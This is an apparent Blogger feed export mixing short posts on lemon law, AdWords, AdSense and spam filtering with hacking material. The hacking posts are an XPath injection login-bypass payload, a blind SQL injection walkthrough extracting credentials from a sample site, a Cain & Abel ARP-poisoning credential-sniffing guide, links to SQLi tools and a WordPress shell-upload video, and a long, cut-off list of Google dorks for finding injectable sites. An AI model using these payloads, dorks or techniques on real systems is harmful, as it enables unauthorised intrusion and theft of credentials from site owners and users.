tag:blogger.com,1999:blog-66109106006946658762024-03-07T21:38:55.304-08:00Kral BlogKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comBlogger43125tag:blogger.com,1999:blog-6610910600694665876.post-69825439455897188652010-07-26T02:59:00.000-07:002010-07-26T03:05:57.794-07:00Sqli Helper 2.7, Sqli Scanner, admin Page finder and all other toolsDownload them all at<br /><br />http://rapidshare.com/files/287748108/reiluke_tools.zip<br /><br />password: www.reiluke.i.phKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-71042455124070145622010-07-24T07:07:00.001-07:002010-07-24T07:07:56.330-07:00XPATH InjectionDescription<br /><br />Similar to SQL Injection, XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to. He may even be able to elevate his privileges on the web site if the XML data is being used for authentication (such as an XML based user file).<br /><br />Querying XML is done with XPath, a type of simple descriptive statement that allows the XML query to locate a piece of information. Like SQL, you can specify certain attributes to find, and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data.<br /><br />XPath is a standard language; its notation/syntax is always implementation independent, which means the attack may be automated. There are no different dialects as it takes place in requests to the SQL databeses.<br /><br />Because there is no level access control it's possible to get the entire document. We won't encounter any limitations as we may know from SQL injection attacks. <br /><br /><br /> Examples<br /><br />We'll use this xml snippet for the examples.<br /><br /><?xml version="1.0" encoding="utf-8"?><br /><Employees><br /> <Employee ID="1"><br /> <FirstName>Arnold</FirstName><br /> <LastName>Baker</LastName><br /> <UserName>ABaker</UserName><br /> <Password>SoSecret</Password><br /> <Type>Admin</Type><br /> </Employee><br /> <Employee ID="2"><br /> <FirstName>Peter</FirstName><br /> <LastName>Pan</LastName><br /> <UserName>PPan</UserName><br /> <Password>NotTelling</Password><br /> <Type>User</Type><br /> </Employee><br /></Employees><br /><br />Suppose we have a user authentication system on a web page that used a data file of this sort to login users. Once a username and password have been supplied the software might use XPath to look up the user:<br /><br />VB:<br />Dim FindUserXPath as String<br />FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And <br /> Password/text()='" & Request("Password") & "']"<br /><br />C#:<br />String FindUserXPath;<br />FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And <br /> Password/text()='" + Request("Password") + "']";<br /><br />With a normal username and password this XPath would work, but an attacker may send a bad username and password and get an XML node selected without knowing the username or password, like this:<br /><br />Username: blah' or 1=1 or 'a'='a<br />Password: blah<br /><br />FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or <br /> 'a'='a' And Password/text()='blah']<br /><br />Logically this is equivalent to:<br /> //Employee[(UserName/text()='blah' or 1=1) or <br /> ('a'='a' And Password/text()='blah')]<br /><br />In this case, only the first part of the XPath needs to be true. The password part becomes irrelevant, and the UserName part will match ALL employees because of the "1=1" part.<br /><br />Just like SQL injection, in order to protect yourself you must escape single quotes (or double quotes) if your application uses them.<br /><br />VB:<br />Dim FindUserXPath as String<br />FindUserXPath = "//Employee[UserName/text()='" & Request("Username").Replace("'", "'") & "' And <br /> Password/text()='" & Request("Password").Replace("'", "'") & "']"<br /><br />C#:<br />String FindUserXPath;<br />FindUserXPath = "//Employee[UserName/text()='" + Request("Username").Replace("'", "'") + "' And <br /> Password/text()='" + Request("Password").Replace("'", "'") + "']";<br /><br />Another better mitigation option is to use a precompiled XPath[1]. Precompiled XPaths are already preset before the program executes, rather than created on the fly after the user's input has been added to the string. This is a better route because you don't have to worry about missing a character that should have been escaped.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-82724545448716989322010-07-13T18:14:00.001-07:002010-07-13T18:14:36.584-07:00lemon lawLemon laws are American state laws that provide a remedy for purchasers of cars in order to compensate for cars that repeatedly fail to meet standards of quality and performance. These cars are called lemons. The federal lemon law (the Magnuson-Moss Warranty Act) protects citizens of all states. State lemon laws vary by state and may not necessarily cover used or leased cars. The rights afforded to consumers by lemon laws may exceed the warranties expressed in purchase contracts. Lemon law is the common nickname for these laws, but each state has different names for the laws and acts.<br /><br />In California, lemon laws cover anything mechanical, as do the federal lemon laws. The federal lemon law also provides that the warranter may be obligated to pay the prevailing party's attorney fees in a successful lemon law suit, as do most state lemon laws.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-30001762804571737032010-07-13T18:05:00.002-07:002010-07-13T18:06:13.940-07:00adwordsAdWords is Google's flagship advertising product and main source of revenue. Google's total advertising revenues were USD$21 billion in 2008[2]. AdWords offers pay-per-click (PPC) advertising, and site-targeted advertising for both text and banner ads. The AdWords program includes local, national, and international distribution. Google's text advertisements are short, consisting of one title line and two content text lines. Image ads can be one of several different Interactive Advertising Bureau (IAB) standard sizes.<br /><br />Sales and Support for Google's AdWords division is based in Mountain View, California, with major secondary offices in Ann Arbor, Michigan[3], the company's third-largest US facility behind its Mountain View, California, headquarters and New York City office.[4] Engineering for AdWords is based in Mountain View, California.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-19610325233636041062010-07-13T18:05:00.001-07:002010-07-13T18:05:18.382-07:00AdsenseGoogle Adsense, her aşamadaki websitesi yayıncılarının site içeriğiyle ilgili Google reklamlarını websitelerinde göstererek para kazanmalarını sağlayan bir sistemdir. Google reklamları, ziyaretçilerin sitenizde aradıkları konulara ve ilgi alanlarına uygunluk sağlar, websitenizden para kazanmanızı da sağlar. Gösterim sayısının önemsiz olduğu bu sistemde önemli olan reklama tıklanma miktarıdır. Reklam verenler tıklama başında öder, sitenize te tıklama başına Google'den para ödenir. Bu reklam modeli CPC (cost per click) ya da Türkçesi Tıklama Bazında Maaliyet reklam modeli deniyor.<br /><br />Reklam tıklama ücretleri ise çok adil yapılmaktadır. Örneğin siteniz "çöplük" denilen sitelerden ise tıklama başına 0,01 $ bile alamazken kaliteli bir sağlık sitesi ve az bulunan içeriği varsa tıklama başına 1 $, hatta dil olarak ingilizce ise de bu rakam 10$ a bile çıkmakta.<br /><br />Google, hilelere karşı bir güvenlik sistemi geliştirmiştir. Eğer kişi kendi sitesindeki reklamlara tıklarsa, tıklamaya teşvik ederse, pop-up lar ile tıklatmayı arttırırsa ve bunun gibi reklamveren e zararı olan davranışlar sergilendiği durumlarda google hemen devreye girer ve reklam yayınlayan kullanıcı engellenir.<br /><br />Buna ek olarak, Google AdSense'e kayıtlı olan web sitesi yayıncıları, ziyaretçilerine Google web ve site araması sunabilirler. Böylece yayıncılar, arama sonuçları sayfalarında gösterilen Google reklamları üzerinden para kazanırlar.<br /><br />Google Adsense, sitenizin sahip olabileceği binlerce sayfaya ve içeriğinizin ne kadar dar veya geniş kaplamlı olduğuna bakmaksızın, içeriği anlamak ve uygun reklamları yerleştirmeye çalışır. İçerik değiştikçe Google reklamları da değişir. Ve reklamlarımız ülkeye göre de hedeflendiğinden, küresel şirketler ek bir çaba sarf etmeden yerel reklamlar yayınlayabilir.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-85827658268790968192010-07-13T18:01:00.000-07:002010-07-13T18:02:51.715-07:00anti spam lotus notestop receiving annoying spam. Messages offering credit cards, pornography, viagra, low mortgage rates, along with thousands more that you hate to receive.<br /><br /><br />Subscription Based. We list the known "spam" and, by using our software and the associated spam identification service (SpamNet), you take advantage of that list to automatically delete known spam as soon as it hits your Inbox!<br /><br />Don't Bother typing in every name of every spammer's domain, or writing them nasty letters. Our service tracks literally millions of spam messages. If it finds one that matches a message that you have received, it puts it into a "Spam" folder.<br /> "How do i like it???? Oh my god it's a god send! My mailbox has been in use since '97 long before the days of the really nasty spammers and well before anyone knew it was best to keep your email address to yourself.<br /><br />As a result my email has been around the block and then some, seems like spammer has it. I left for my honeymoon two weeks ago, in one weeks time I had nearly a 1000 emails 95% of which were spam of course. I get so tired of weeding through them to find my real mail.<br /><br />Your product is working flawlessly the idea is brilliant and I just can't say enough about it. You've totally changed my mornings!!! Now i just run SpanSentinel and get to reading my actual emails instead of taking 5 to 10 mins every morning to sift through the spam, spelled C-R-A-P.<br /><br />So I will be recommending this install to everyone at my company and we may even just get the server version. Keep up the outstanding work!!!Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-10525568208943277152010-07-08T16:49:00.000-07:002010-07-08T16:50:02.322-07:00Shellden SQL Baglanıp Siteleri Hackleme admin password sıfırlamabu videoda shellden SQL ile db baglanmayı ve siteleri hacklemeyi admin password sıfırlamayı wordpress sitelere admin panelden shell sokmayı gösterdim iyi seyirler.<br /><br />http://www.dosyaload.net/index.php/files/get/-Fkk5XjRws/wordpess.rar<br /><br />http://rapidshare.com/files/322350333/wordpess.rar.html<br />Gönderen ege zaman: 18:05 1 yorum Bu kayda verilen bağlantılarKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-48125641831640825022010-07-08T16:45:00.001-07:002010-07-08T16:45:32.618-07:00Cain & Abel (Hacking - Çok Geniş Anlatım) !Cain Abel ne yapar? “Man in the Middle” olarak adlandırılan “ortadaki adam” saldırısını, ARP zehirlemesi kullanarak gerçekleştirir böylece ağ’daki kullanıcıların özel bilgilerini görmektedir. Bunu yaparken desteklediği protokoller oldukça fazladır böylelikle örneğin bir banka/alışveriş sitesinde kredi kartını kullanan bir kullanıcının site/sayfa SSL’li dahi olsa bilgilerini görmek mümkündür. Program kablosuz ağ’lara bağlanarak gene bu tip işlemlerin yapılmasını desteklemektedir.<br /><br /><br />Yazının anlaşılabilmesi için belki bildiğiniz belkide bilmediğiniz bazı protokolleri ve terimleri açıklamak gerekli. Lütfen ne kadar “biliyorumda” desenizde “SÖZLÜK” bölümünü gözden geçirmeyi ihmal etmeyin.<br /><br /><br />Sözlük<br /><br /><br /><br />ARP Adres Çözümleme Protokolü - Vikipedi Address Request Protocol, lokal ağ’larda paketlerin gönderilmesini/alınmasını sağlayan ikinci katmanda (L2) çalışan protokol. OSI OSI Modeli - Vikipedi katmanlama modeline göre temel amacı, L3’den gelen adresleme paketlerine L2 adresleme paketlerini eklemektir. DOD TCP/IP model - Wikipedia, the free encyclopedia katmanlama modeline göre temel amacı, L2’den gelen adresleme paketlerine L1 adresleme paketlerini eklemektir.<br /><br /><br />IP IP adresi - Vikipedi Internet Protocol, internet ağ’ına bağlı her cihazın kendine ait en az bir adet IP adresi vardır bu adres başka hiçbir cihazda yoktur. Böylelikle “adresleme” sağlanmaktadır. IP protokol’ünü geliştiren ekip DOD modelini geliştirmiştir ve daha sonra geliştirilen OSI modelini “benimsememiştir”. Bu bakımdan bilişime yeni başlayan birinin L2’si eskilerin L1’ine denk gelmektedir, bu da bazen karışıklıklara sebep olmaktadır.<br /><br /><br />IPv4 IP adresi - Vikipedi 32bit uzunluğuna sahiptir, güvenlik özelliği yoktur. Bu bakımdan güvenli haberleşmeyle ilgili protokoller daha üst katmanlarda çalışır.<br /><br /><br />IPv6 IPv6 - Vikipedi 128bit uzunluğundadır, güvenlik özelliği vardır. Yaklaşık 10 yıldır geliştirilmektedir ve yaygınlaşması için belirlenen plana göre 2007 yılında tüm dünyanın geçmesi beklenmektedir.<br /><br /><br />Ethernet; Dünyada en yayğın olarak kullanılan arabirimin adıdır. 1973 yılında Xerox firması tarafından geliştirilmiş ve standartları DEC, Intel ve Xerox tarafından belirlenmiştir. Yaygın kullanıma 3Com firması sunmuştur.<br /><br /><br />Wirespeed Wire speed - Wikipedia, the free encyclopedia Switch’e gelen paketin işlenmesi gecikmelere sebep olur (switch marka modeline göre; 10Mbit 40-70ms, 100Mbit 11-30ms, 1Gbit 4-8ms). Wirespeed özelliğine sahip switch’te böyle bir gecikme yaşanmaz. Böylece örneğin 1Gbit hızındaki porttan saniyede enaz 84byte’lık 1.448.000 adet, 1500byte’lık 83.333 paket (10Mbit’te 84byte’lık 14.880 adet, 100Mbit’te 84byte’lık 148.800 adet” veya “10Mbit’te 1500byte’lık 833 paket, 100Mbit’te 1500byte’lık 8.333 paket) gecikmeksizin işlenerek geçer.<br /><br /><br /><br />Switch Ağ anahtarı - Vikipedi Anahtarlayıcı, portlarına takılı cihazların, host’ların, sunucuların ve istemcilerin macid’lerini ve hangi port’larda olduklarını kendi üstündeki bir tabloda tutarak ve sürekli güncelleyerek, “a” port’undan gelen paketin hedef macid’sini tablodan bulup, uyan port “b”ye gönderir.<br /><br /><br />PoE Power over Ethernet - Wikipedia, the free encyclopedia Power over Ethernet, ethernet portuna bağlanan PoE desteği bulunan cihaza (örneğin ip kamera) elektrik (1.8-60 volt) verilmesini sağlar. Böylece cihazın ayrıca bir elektrik kablosu kullanması gerekmez. Kullanılan CATx kablonun kaliteli olmasına özellikle dikkat edilmelidir.<br /><br /><br />L1 Fiziksel katman - Vikipedi OSI; Birinci katman fiziksel katman, paketin hangi tür arabirim ile aktarılacağını ve iletimini sağlar. Üst katmanlardan gelen paketler binary olarak kodlanmışken bu katmanda, arabirimin tipine göre elektrik veya ışık sinyallerine çevirilir.<br /><br /><br /><br />L2 Veri bağlantısı katmanı - Vikipedi OSI; İkinci katman veri bağlantısı katmanı, genellikle arabirimin içindedir bazı durumlarda işletim sistemi sürücüsü olarakta adlandırılır. Diğer cihazları/sunucu/istemcileri bulma, verinin gönderilme zamanının denetimi, iletimi ve hata kontrolümü yapar.<br /><br /><br />L3 Bilgisayar ağı - Vikipedi OSI; Üçüncü katman ağ katmanı, örneğin IP ve icmp bu katmanda çalışır, paketin ağ dışında bir başka ağ’a gönderilip gönderilmeyeceğine ve gönderilmesi durumunda paketteki adres değişimlerinden sorumludur.<br /><br /><br />L4 http://tr.wikipedia.org/wiki/Transport OSI; Dördüncü katman taşıma katmanı, veri paketlerinin arabirimin tipine göre ne kadarlık olacağına karar verip ayrımlarda bulunur. Port işlemleri bu katmanda yer alır, TCP ve UDP gibi protokollerin çalıştığı katmandır.<br /><br /><br />N-B Asynchronous I/O - Wikipedia, the free encyclopedia Non-Blocking, switch’in, tüm portlarının hızlarının toplamından daha yüksek kapasiteli işleme gücü varsa, paket kaybı olmaksızın tüm portları tam kapasite çalıştırabileceğiniz anlamına gelir.<br /><br /><br />Gbit Gigabit - Wikipedia, the free encyclopedia 1000Mbit’lik hız değerini temsil eder. Bu tür bir ortamda kaliteli switch, kablo ve kablolama kalitesi iyi durumdaysa saniyede enaz “84byte’lık 1.488.000 adet veya 1500byte’lık 83.333 adet paket geçebilir.<br /><br /><br />UpLink Switch ortamlarda istemci ve sunucu hariç diğer bağlantıların yapıldığı port’lara verilen isimlendirmedir.<br /><br /><br />DHCP DHCP - Vikipedi Dynamic Host Configuration Protocol, ağ’daki host’lara istemci’lere otomatik olarak IP ve diğer servislerle ilgili IP adreslerini veren servistir.<br /><br /><br />MacID MAC adresi - Vikipedi Media Access Control, 48bit uzunluğunda dır ve ilk 24bit üretici numaralarına ayrılmıştır, kanal 24bit her üreticinin kendi vereceği sıra numaraları gibi düşünülebilir. Dünyada üretilen arabirimlerin (örneğin ethernet kartınız) hiçbirinin macid’si diğeri ile aynı değildir, böylece ARP adreslemesi sorunsuz olarak çalışır.<br /><br /><br />Peki yönetici ile Cain&Abel kullanan arasında ne fark vardır?<br /><br /><br />Temeldeki teknik fark şudur, birinci yöntemde ağda fazladan paket oluşumunu engelleyip yükü switch üstünde tutarak dinleme yapılmaktadır ve sorunu çözmeye yönelik kullanılır. ARP zehirleme saldırısında ise art niyetli kişi söz konusudur ve ağda fazladan paket oluşmasına sebep olarak ağdaki tüm switch’lere yük bindirir.<br /><br /><br />Dummy kullanıcı nedir?<br /><br /><br />Böyle birşeyin varlığından haberi bile yokken “hacker (lamer)” arkadaşı veya bir “hacker (lamer)”la yaptığı konuşmada ARP Poisoning lafını merak eder, google açıp “arp poison” yazar ikinci linke www.oxid.it tıklar...Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-70025794307153783592010-07-08T16:44:00.003-07:002010-07-08T16:44:59.931-07:00blind-sql-injection-dummyAku akan mencoba menjelaskan sesimple mungkin tentang blind sql injection yang aku anggap dulu rumit banget... Bukannya sok ngajarin atau apalah, disini aku hanya berusaha memberikan apa yang aku punya dan bisa...<br /><br /><br /><br />Oke, semua bermula karena aku suntuk banget...Semua target .go.id, co.id atau apapun.id dah dibabat habis sama senior disini...Akhirnya tanpa sengaja aku nyangkut ke situs luar...Anggep aja situs tersebut bernama<br /><br />http://iseng.com/news.php?id=76009<br /><br />Nah pada target aku kali ini, aku menggunakan sql commands mid() yang hampir sama fungsinya dengan substring()...<br /><br />Langsung aja aku ketik<br /><br />http://iseng.com/news.php?id=76009 and 1=0<br />dan ternyata hasilnya adalah FALSE<br /><br />http://iseng.com/news.php?id=76009 and 1=1<br />bernilai TRUE<br /><br />Nah setelah aku yakin kalo web tersebut vulnerable maka aku melakukan injeksi (hehehehe...)<br /><br />http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(65)<br /><br />Nah penjelasannya supaya lo semua pada ngerti (hehehehe...orang aku juga baru belajar, sok ngasih tau...) aku akan coba menjelaskan arti dan makna dari baris URL dan statement diatas...<br /><br />~ mid(user()1,1) artinya dalam kasus ini aku tidak mengetahui value atau nilai dari user itu apa, maka dalam "()" aku sengaja kosongkan.<br /><br />~ 1,1 adalah urutan dari value tersebut.<br /><br />~ CHAR adalah peubah dalam desimal<br /><br />~ 65 adalah value decimal tersebut dan 65 adalah "A" dalam ASCII so aku akan mengawalinya dengan 65<br /><br />Nah kalo dah begini apa yang akan terjadi? Dalam tampilan web tersebut akan terjadi true atau false...Nah dalam kasus ini false, berarti aku harus memasukkan nilai yang lain agar menjadi true...<br /><br />FALSE<br />http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(65)<br /><br />FALSE<br />http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(66)<br /><br />TRUE!!!<br />http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(67)<br /><br />Akhirnya mendapatkan nilai true dan nilai tersebut adalah 67 (C dalam ASCII)<br /><br />Cari nilai kedua dan caranya adalah...<br /><br />http://iseng.com/news.php?id=76009 and mid(user(),1,2)=CHAR(67,65)<br /><br />Nah 1,1 nya dah diganti dengan 1,2...Jadi kalo dah dapet diganti aja jadi 1,3...1,4 dan seterusnya...<br /><br />Nah akhirnya aku mendapat nilai true pada angka ke 82 (R dalam ASCII)<br /><br />Lanjutin aja sampe dapet nilai atau value user dan sampai akhirnya menjadi<br /><br />http://iseng.com/news.php?id=76009 and mid(user(),1,6)=CHAR(67,82,85,90,51,78)<br /><br />67=C<br />82=R<br />85=U<br />90=Z<br />51=3<br />78=N<br /><br />Ternyata username-nya adalah CRUZ3N (Wow.... Kebetulan yang sangat lucu ;p)<br /><br />Nah untuk cari passwordnya aku tinggal mengganti value user() menjadi database() dan lakukan semua tahap diatas dari pertama sampe dapet value true...<br /><br />Contoh:<br /><br />http://iseng.com/news.php?id=76009 and mid mid(database(),1,5)=CHAR(75,69,82,69,78)<br /><br />Jadi password yang didapat adalah...<br /><br />75=K<br />69=E<br />82=R<br />69=E<br />78=N<br /><br />Jadi username dan passwordnya adalah CRUZ3N dan KEREN...<br /><br />Ternyata Blind SQL Injection gak nyebel-nyebelin amat (Tapi ngebetein...). Nah katanya neh...cara ini cukup efektif untuk web yang telah menfilter SQL Injection...Bener gak tuh? Gak tau dah... Ilmu aku belom nyampe situ...<br /><br />Oke sampe disini aja yah...<br />Mohon maaf jika ada salah-salah kata dan berhubung aku lupa jadi kagak ada screenshootnya (Padahal kalo ada keren banget tuh ;p).<br /><br />Semoga penjelasan yang sangat amat singkat dan gak ada apa-apanya ini dapat berguna...<br /><br />Nih kode ASCII yang sapa tau berguna...<br /><br />Char Code Description<br /><br />9 Tab<br />10 Line feed<br />13 Carriage return<br />' ' 32 Space<br />! 33 Exclamation mark<br />" 34 Quotation mark<br /># 35 Number sign<br />$ 36 Dollar sign<br />% 37 Percent sign<br />& 38 Ampersand<br />' 39 Apostrophe<br />( 40 Left parenthesis<br />) 41 Right parenthesis<br />* 42 Asterisk<br />+ 43 Plus sign<br />, 44 Comma<br />- 45 Hyphen-minus<br />. 46 Full stop<br />/ 47 Solidus<br />0 48 Digit zero<br />1 49 Digit one<br />2 50 Digit two<br />3 51 Digit three<br />4 52 Digit four<br />5 53 Digit five<br />6 54 Digit six<br />7 55 Digit seven<br />8 56 Digit eight<br />9 57 Digit nine<br />: 58 Colon<br />; 59 Semicolon<br />< 60 Less-than sign<br />= 61 Equals sign<br />> 62 Greater-than sign<br />? 63 Question mark<br />@ 64 Commercial at<br />A 65 Latin capital letter A<br />B 66 Latin capital letter B<br />C 67 Latin capital letter C<br />D 68 Latin capital letter D<br />E 69 Latin capital letter E<br />F 70 Latin capital letter F<br />G 71 Latin capital letter G<br />H 72 Latin capital letter H<br />I 73 Latin capital letter I<br />J 74 Latin capital letter J<br />K 75 Latin capital letter K<br />L 76 Latin capital letter L<br />M 77 Latin capital letter M<br />N 78 Latin capital letter N<br />O 79 Latin capital letter O<br />P 80 Latin capital letter P<br />Q 81 Latin capital letter Q<br />R 82 Latin capital letter R<br />S 83 Latin capital letter S<br />T 84 Latin capital letter T<br />U 85 Latin capital letter U<br />V 86 Latin capital letter V<br />W 87 Latin capital letter W<br />X 88 Latin capital letter X<br />Y 89 Latin capital letter Y<br />Z 90 Latin capital letter Z<br />[ 91 Left square bracket<br />92 Reverse solidus<br />] 93 Right square bracket<br />^ 94 Circumflex accent<br />_ 95 Low line<br />` 96 Grave accent<br />a 97 Latin small letter a<br />b 98 Latin small letter b<br />c 99 Latin small letter c<br />d 100 Latin small letter d<br />e 101 Latin small letter e<br />f 102 Latin small letter f<br />g 103 Latin small letter g<br />h 104 Latin small letter h<br />i 105 Latin small letter i<br />j 106 Latin small letter j<br />k 107 Latin small letter k<br />l 108 Latin small letter l<br />m 109 Latin small letter m<br />n 110 Latin small letter n<br />o 111 Latin small letter o<br />p 112 Latin small letter p<br />q 113 Latin small letter q<br />r 114 Latin small letter r<br />s 115 Latin small letter s<br />t 116 Latin small letter t<br />u 117 Latin small letter u<br />v 118 Latin small letter v<br />w 119 Latin small letter w<br />x 120 Latin small letter x<br />y 121 Latin small letter y<br />z 122 Latin small letter z<br />{ 123 left curly bracket<br />| 124 Vertical line<br />} 125 Right curly bracket<br />~ 126 Tilde<br /> 127 (not used)<br />? 128 Euro sign Currency Symbols<br />? 129 (not used)<br />? 130 Single low-9 quotation mark General Punctuation<br />? 131 Latin small letter f with hook Latin Extended-B<br />? 132 Double low-9 quotation mark General Punctuation<br />? 133 Horizontal ellipsis General Punctuation<br />? 134 Dagger General Punctuation<br />? 135 Double dagger General Punctuation<br />? 136 Modifier letter circumflex accent Spacing Modifier Letters<br />? 137 Per mille sign General Punctuation<br />? 138 Latin capital letter S with caron Latin Extended-A<br />? 139 Single left-pointing angle quotation mark General Punctuation<br />? 140 Latin capital ligature OE Latin Extended-A<br />? 141 (not used)<br />? 142 Latin capital letter Z with caron Latin Extended-A<br />? 143 (not used)<br />? 144 (not used)<br />? 145 Left single quotation mark General Punctuation<br />? 146 Right single quotation mark General Punctuation<br />? 147 Left double quotation mark General Punctuation<br />? 148 Right double quotation mark General Punctuation<br />? 149 Bullet General Punctuation<br />? 150 En dash General Punctuation<br />? 151 Em dash General Punctuation<br />? 152 Small tilde Spacing Modifier Letters<br />? 153 Trade mark sign Letterlike Symbols<br />? 154 Latin small letter s with caron Latin Extended-A<br />? 155 Single right-pointing angle quotation mark General Punctuation<br />? 156 Latin small ligature oe Latin Extended-A<br />? 157 (not used)<br />? 158 Latin small letter z with caron Latin Extended-A<br />? 159 Latin capital letter Y with diaeresis Latin Extended-A<br />160 No-break space<br />? 161 Inverted exclamation mark<br />? 162 Cent sign<br />? 163 Pound sign<br />? 164 Currency sign<br />? 165 Yen sign<br />? 166 Broken bar<br />? 167 Section sign<br />? 168 Diaeresis<br />? 169 Copyright sign<br />? 170 Feminine ordinal indicator<br />? 171 Left-pointing double angle quotation mark<br />? 172 Not sign<br />? 173 Soft hyphen<br />? 174 Registered sign<br />? 175 Macron<br />? 176 Degree sign<br />? 177 Plus-minus sign<br />? 178 Superscript two<br />? 179 Superscript three<br />? 180 Acute accent<br />? 181 Micro sign<br />? 182 Pilcrow sign<br />? 183 Middle dot<br />? 184 Cedilla<br />? 185 Superscript one<br />? 186 Masculine ordinal indicator<br />? 187 Right-pointing double angle quotation mark<br />? 188 Vulgar fraction one quarter<br />? 189 Vulgar fraction one half<br />? 190 Vulgar fraction three quarters<br />? 191 Inverted question mark<br />? 192 Latin capital letter A with grave<br />? 193 Latin capital letter A with acute<br />? 194 Latin capital letter A with circumflex<br />? 195 Latin capital letter A with tilde<br />? 196 Latin capital letter A with diaeresis<br />? 197 Latin capital letter A with ring above<br />? 198 Latin capital letter AE<br />? 199 Latin capital letter C with cedilla<br />? 200 Latin capital letter E with grave<br />? 201 Latin capital letter E with acute<br />? 202 Latin capital letter E with circumflex<br />? 203 Latin capital letter E with diaeresis<br />? 204 Latin capital letter I with grave<br />? 205 Latin capital letter I with acute<br />? 206 Latin capital letter I with circumflex<br />? 207 Latin capital letter I with diaeresis<br />? 208 Latin capital letter Eth<br />? 209 Latin capital letter N with tilde<br />? 210 Latin capital letter O with grave<br />? 211 Latin capital letter O with acute<br />? 212 Latin capital letter O with circumflex<br />? 213 Latin capital letter O with tilde<br />? 214 Latin capital letter O with diaeresis<br />? 215 Multiplication sign<br />? 216 Latin capital letter O with stroke<br />? 217 Latin capital letter U with grave<br />? 218 Latin capital letter U with acute<br />? 219 Latin capital letter U with circumflex<br />? 220 Latin capital letter U with diaeresis<br />? 221 Latin capital letter Y with acute<br />? 222 Latin capital letter Thorn<br />? 223 Latin small letter sharp s<br />? 224 Latin small letter a with grave<br />? 225 Latin small letter a with acute<br />? 226 Latin small letter a with circumflex<br />? 227 Latin small letter a with tilde<br />? 228 Latin small letter a with diaeresis<br />? 229 Latin small letter a with ring above<br />? 230 Latin small letter ae<br />? 231 Latin small letter c with cedilla<br />? 232 Latin small letter e with grave<br />? 233 Latin small letter e with acute<br />? 234 Latin small letter e with circumflex<br />? 235 Latin small letter e with diaeresis<br />? 236 Latin small letter i with grave<br />? 237 Latin small letter i with acute<br />? 238 Latin small letter i with circumflex<br />? 239 Latin small letter i with diaeresis<br />? 240 Latin small letter eth<br />? 241 Latin small letter n with tilde<br />? 242 Latin small letter o with grave<br />? 243 Latin small letter o with acute<br />? 244 Latin small letter o with circumflex<br />? 245 Latin small letter o with tilde<br />? 246 Latin small letter o with diaeresis<br />? 247 Division sign<br />? 248 Latin small letter o with stroke<br />? 249 Latin small letter u with grave<br />? 250 Latin small letter u with acute<br />? 251 Latin small letter with circumflex<br />? 252 Latin small letter u with diaeresis<br />? 253 Latin small letter y with acute<br />? 254 Latin small letter thorn<br />? 255 Latin small letter y with diaeresis<br /><br /><br />* Contact<br />cruz3n@jasakom.org<br /><br />* Blog Sederhana<br />http://cruzenaldo.co.cc<br /><br />* Thanks<br />~ my JESUS CHRIST<br />~ Bokap dan keluarga dirumah<br />~ Temen2 di kupang...<br />~ All Jasakomers yang telah membuat hidup gw penuh warna... ;p<br />~ Witha Rasmana a.k.a Chrn0 (I Love You...)Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-26302141578497845472010-07-08T16:44:00.001-07:002010-07-08T16:44:23.899-07:00new-sql-injection-dorkinurl:index.php?id=<br />inurl:trainers.php?id=<br />inurl:buy.php?category=<br />inurl:article.php?ID=<br />inurl:play_old.php?id=<br />inurl:declaration_more.php?decl_id=<br />inurl:pageid=<br />inurl:games.php?id=<br />inurl:page.php?file=<br />inurl:newsDetail.php?id=<br />inurl:gallery.php?id=<br />inurl:article.php?id=<br />inurl:show.php?id=<br />inurl:staff_id=<br />inurl:newsitem.php?num=<br />inurl:readnews.php?id=<br />inurl:top10.php?cat=<br />inurl:historialeer.php?num=<br />inurl:reagir.php?num=<br />inurl:Stray-Questions-View.php?num=<br />inurl:forum_bds.php?num=<br />inurl:game.php?id=<br />inurl:view_product.php?id=<br />inurl:newsone.php?id=<br />inurl:sw_comment.php?id=<br />inurl:news.php?id=<br />inurl:avd_start.php?avd=<br />inurl:event.php?id=<br />inurl:product-item.php?id=<br />inurl:sql.php?id=<br />inurl:news_view.php?id=<br />inurl:select_biblio.php?id=<br />inurl:humor.php?id=<br />inurl:aboutbook.php?id=<br />inurl:ogl_inet.php?ogl_id=<br />inurl:fiche_spectacle.php?id=<br />inurl:communique_detail.php?id=<br />inurl:sem.php3?id=<br />inurl:kategorie.php4?id=<br />inurl:news.php?id=<br />inurl:index.php?id=<br />inurl:faq2.php?id=<br />inurl:show_an.php?id=<br />inurl:preview.php?id=<br />inurl:loadpsb.php?id=<br />inurl:opinions.php?id=<br />inurl:spr.php?id=<br />inurl:pages.php?id=<br />inurl:announce.php?id=<br />inurl:clanek.php4?id=<br />inurl:participant.php?id=<br />inurl:download.php?id=<br />inurl:main.php?id=<br />inurl:review.php?id=<br />inurl:chappies.php?id=<br />inurl:read.php?id=<br />inurl:prod_detail.php?id=<br />inurl:viewphoto.php?id=<br />inurl:article.php?id=<br />inurl:person.php?id=<br />inurl:productinfo.php?id=<br 